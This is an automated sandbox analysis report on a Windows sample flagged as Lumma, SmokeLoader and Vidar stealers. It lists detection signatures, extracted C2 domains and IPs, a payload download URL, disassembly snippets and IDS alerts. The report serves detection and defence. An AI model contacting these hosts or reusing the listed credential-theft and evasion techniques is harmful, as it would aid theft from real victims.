Windows Analysis Report
2.exe

Overview

General Information

Sample name: 2.exe
Analysis ID: 1447652
MD5: 4d956ba3709b6be0cc4910690ef93f0b
SHA1: 699a84b4e11844653e1d0cf90d9efda870d737fd
SHA256: 91713a00dd18d04d68a6b34ac3c20206f1bd38cfb72506ef32baadd380c3f993
Tags: exe
Infos:

Detection

LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Benign windows process drops PE files
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AntiVM3
Yara detected CryptOne packer
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected SmokeLoader
Yara detected Vidar
Yara detected Vidar stealer
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if the current machine is a virtual machine (disk enumeration)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Deletes itself after installation
Found many strings related to Crypto-Wallets (likely being stolen)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Opens network shares
Query firmware table information (likely to detect VMs)
Sample uses process hollowing technique
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops files with a non-matching file extension (content does not match file extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: Execution of Suspicious File Type Extension
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
SmokeLoader The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
  • SMOKY SPIDER
 https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 2.exe Avira: detected
Antivirus detection for URL or domain
Source: whispedwoodmoodsksl.shop Avira URL Cloud: Label: malware
Source: https://whispedwoodmoodsksl.shop/apicC Avira URL Cloud: Label: malware
Source: http://45.129.96.86/file/update.exe Avira URL Cloud: Label: malware
Source: https://whispedwoodmoodsksl.shop/y Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Avira: detection malicious, Label: TR/AVI.AceCrypter.javlp
Source: C:\Users\user\AppData\Roaming\jssrvvh Avira: detection malicious, Label: HEUR/AGEN.1311176
Found malware configuration
Source: 0000000A.00000002.2305592154.0000000004270000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "42d0618304a88d6476bc55d33c23d7e6", "Version": "9.8"}
Source: 00000010.00000002.3994237528.0000000002D80000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://dbfhns.in/tmp/index.php", "http://guteyr.cc/tmp/index.php", "http://greendag.ru/tmp/index.php", "http://lobulraualov.in.net/tmp/index.php"]}
Source: 38F9.exe.7932.6.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "whispedwoodmoodsksl.shop", "boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "whispedwoodmoodsksl.shop", "boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "whispedwoodmoodsksl.shop", "boredimperissvieos.shop"], "Build id": "swg5EG--"}
Multi AV Scanner detection for domain / URL
Source: whispedwoodmoodsksl.shop Virustotal: Detection: 17% Perma Link
Source: dbfhns.in Virustotal: Detection: 5% Perma Link
Source: https://65.109.242.59/Z Virustotal: Detection: 13% Perma Link
Source: whispedwoodmoodsksl.shop Virustotal: Detection: 17% Perma Link
Source: http://guteyr.cc/tmp/index.php Virustotal: Detection: 12% Perma Link
Source: https://65.109.242.59/s Virustotal: Detection: 13% Perma Link
Source: https://65.109.242.59/q Virustotal: Detection: 13% Perma Link
Source: https://65.109.242.59/M Virustotal: Detection: 6% Perma Link
Source: https://65.109.242.59/( Virustotal: Detection: 12% Perma Link
Source: http://45.129.96.86/file/update.exe Virustotal: Detection: 20% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\38F9.exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Roaming\jssrvvh ReversingLabs: Detection: 39%
Multi AV Scanner detection for submitted file
Source: 2.exe ReversingLabs: Detection: 39%
Source: 2.exe Virustotal: Detection: 43% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jssrvvh Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D818.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 2.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0041537E CryptUnprotectData, 6_2_0041537E
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB5A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 11_2_6CB5A9A0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB544C0 PK11_PubEncrypt, 11_2_6CB544C0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB24420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free, 11_2_6CB24420
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB54440 PK11_PrivDecrypt, 11_2_6CB54440
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBA25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt, 11_2_6CBA25B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB3E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free, 11_2_6CB3E6E0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB38670 PK11_ExportEncryptedPrivKeyInfo, 11_2_6CB38670
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB5A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext, 11_2_6CB5A650
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError, 11_2_6CB7A730
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB80180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util, 11_2_6CB80180
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB543B0 PK11_PubEncryptPKCS1,PR_SetError, 11_2_6CB543B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB77C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util, 11_2_6CB77C00
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy, 11_2_6CB7BD30
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB37D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey, 11_2_6CB37D60
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB79EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo, 11_2_6CB79EC0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB53FF0 PK11_PrivDecryptPKCS1, 11_2_6CB53FF0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB53850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError, 11_2_6CB53850
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB59840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate, 11_2_6CB59840
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB7DA40 SEC_PKCS7ContentIsEncrypted, 11_2_6CB7DA40

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Unpacked PE file: 6.2.38F9.exe.400000.0.unpack
Uses 32bit PE files
Source: 2.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\2.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 23.199.218.33:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 65.109.242.59:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: katB4C0.tmp, 0000000B.00000002.2822044307.000000006D0CD000.00000002.00000001.01000000.0000000D.sdmp, mozglue[1].dll.11.dr
Source: Binary string: freebl3.pdb source: freebl3.dll.11.dr
Source: Binary string: freebl3.pdbp source: freebl3.dll.11.dr
Source: Binary string: nss3.pdb@ source: katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, nss3[1].dll.11.dr, nss3.dll.11.dr
Source: Binary string: softokn3.pdb@ source: softokn3.dll.11.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.11.dr, vcruntime140[1].dll.11.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.11.dr, msvcp140.dll.11.dr
Source: Binary string: nss3.pdb source: katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, nss3[1].dll.11.dr, nss3.dll.11.dr
Source: Binary string: mozglue.pdb source: katB4C0.tmp, 0000000B.00000002.2822044307.000000006D0CD000.00000002.00000001.01000000.0000000D.sdmp, mozglue[1].dll.11.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.11.dr
Source: Binary string: softokn3.pdb source: softokn3.dll.11.dr
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esi+00000910h] 6_2_00427353
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esi+00000080h] 6_2_00427353
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov word ptr [eax], cx 6_2_004168EF
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esp+10h] 6_2_00409960
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esp+10h] 6_2_00409960
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+20h] 6_2_00404970
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esp+00000084h] 6_2_00415FE1
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then dec edx 6_2_0043B050
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h 6_2_00417062
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esi+04h] 6_2_00417062
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+00000080h] 6_2_00426174
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+54h] 6_2_004381BB
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+00000080h] 6_2_00426271
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+00000080h] 6_2_00426284
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+000001E0h] 6_2_004102B2
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 6_2_004164D2
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, 00008000h 6_2_00403570
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then cmp cl, 0000002Eh 6_2_00421580
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movzx edx, byte ptr [esi+edi] 6_2_004025A0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then cmp byte ptr [ebp+00h], 00000000h 6_2_00414660
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edi, ebx 6_2_00436670
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 6_2_00431680
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+000000C0h] 6_2_004106B1
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov dword ptr [esp+000005F0h], 00000000h 6_2_004138D2
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 6_2_004248E0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esi+30h] 6_2_00423931
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esi+30h] 6_2_00423AD0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then jmp edx 6_2_00422AFB
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+4Ch] 6_2_00415AFA
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movsx eax, byte ptr [esi+ecx] 6_2_0040CB10
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+000001E0h] 6_2_0040FBB4
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then jmp edx 6_2_0041CCD0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+00000080h] 6_2_00425CEE
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+10h] 6_2_00423C97
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esi+08h] 6_2_00433D0A
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movzx esi, word ptr [ecx] 6_2_00438F15
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then jmp edx 6_2_0057D097
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movzx esi, word ptr [ecx] 6_2_0059917C
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esp+00000084h] 6_2_00576248
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h 6_2_005772C9
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esi+04h] 6_2_005772C9
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then cmp cl, 0000002Eh 6_2_005812E0
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then dec edx 6_2_0059B2B7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+00000080h] 6_2_005863DB
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+00000080h] 6_2_005864D8
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+00000080h] 6_2_005864EB
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+000001E0h] 6_2_00570519
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esi+00000910h] 6_2_005875BA
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esi+00000080h] 6_2_005875BA
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 6_2_00576739
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, 00008000h 6_2_005637D7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movzx edx, byte ptr [esi+edi] 6_2_00562807
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edi, ebx 6_2_005968D7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then cmp byte ptr [ebp+00h], 00000000h 6_2_005748C7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 6_2_005918E7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+000000C0h] 6_2_00570918
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov word ptr [eax], cx 6_2_00576B56
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 6_2_00584B47
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+20h] 6_2_00564BD7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 6_2_00584B47
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esp+10h] 6_2_00569BC7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esp+10h] 6_2_00569BC7
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esi+30h] 6_2_00583B98
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esp+000000A0h] 6_2_00581C89
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then jmp edx 6_2_00582D5B
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then movsx eax, byte ptr [esi+ecx] 6_2_0056CD77
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+4Ch] 6_2_00575D61
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov ecx, dword ptr [esi+08h] 6_2_00593E13
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov eax, dword ptr [esp+000001E0h] 6_2_0056FE1B
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+10h] 6_2_00583ECF
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+10h] 6_2_00583EFE
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then mov edx, dword ptr [esi+00000080h] 6_2_00585F55
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 4x nop then jmp dword ptr [004421CCh] 6_2_0057CF1A

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49736 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49737 -> 185.18.245.58:80
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49738 -> 185.18.245.58:80
